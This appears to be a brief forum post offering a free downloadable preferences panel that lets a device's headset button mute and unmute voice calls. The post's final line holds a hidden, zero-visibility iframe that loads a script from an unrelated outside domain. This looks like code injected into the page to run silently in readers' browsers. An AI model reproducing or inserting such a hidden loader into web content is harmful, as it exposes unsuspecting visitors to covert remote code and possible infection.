I have posted this to several other TW forums but I keep finding "new" ones.

A free Headset Panel for the TW is available for download at the following site:

TW Headset Panel Download

This panel will allow you to modify the headset button behavior so that mute/unmute of a voice call via the headset button is possible. This is convenient for conference calls or anytime you need to mute a voice call.

NOTE: This is a panel and shows up under the Prefs application.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>